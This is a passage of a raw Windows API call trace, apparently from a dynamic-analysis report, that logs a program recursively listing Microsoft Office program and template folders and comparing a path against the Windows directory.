lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6629a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x8f968, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0144.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x377f470, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0144.092] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x377f470, cFileName="..", cAlternateFileName="")) returned 1 [0144.092] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x377f470, cFileName="..", cAlternateFileName="")) returned 0 [0144.092] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0144.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0144.092] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8d5600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xde61b8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e8d5600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x3bb598, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0144.094] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x377f470, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0144.112] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x377f470, cFileName="..", cAlternateFileName="")) returned 1 [0144.112] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x377f470, cFileName="1033", cAlternateFileName="")) returned 1 [0144.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0144.237] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.238] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6e4b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50526960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1d6e4b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTDIR_M.VST", cAlternateFileName="")) returned 1 [0145.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.007] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.007] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0145.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.007] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.007] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt", cAlternateFileName="ASSETS~1.ACC")) returned 1 [0145.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0145.009] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.009] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="ADDRES~1.ACC")) returned 1 [0145.009] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0145.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.010] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="EVENTS~1.ACC")) returned 1 [0145.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0145.011] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.011] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="1RIGHT~1.ACC")) returned 1 [0145.011] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0145.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.012] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="PROJEC~1.ACC")) returned 1 [0145.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0145.012] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.012] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1353a200, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1353a200, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x377c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="107.accdt", cAlternateFileName="107~1.ACC")) returned 1 [0145.013] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0145.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.013] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0 [0145.013] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0145.013] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0145.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.015] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.015] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityFax.Dotx", cAlternateFileName="EQUITY~1.DOT")) returned 1 [0145.015] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0145.016] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="FIVERU~1.POT")) returned 1 [0145.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0145.405] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.405] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0145.405] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.406] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.406] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="NOTEBO~1")) returned 1 [0145.406] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0145.406] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.406] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 1 [0145.406] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0145.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0145.406] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0145.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery") returned 70 [0145.407] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery") returned 1 [0145.407] 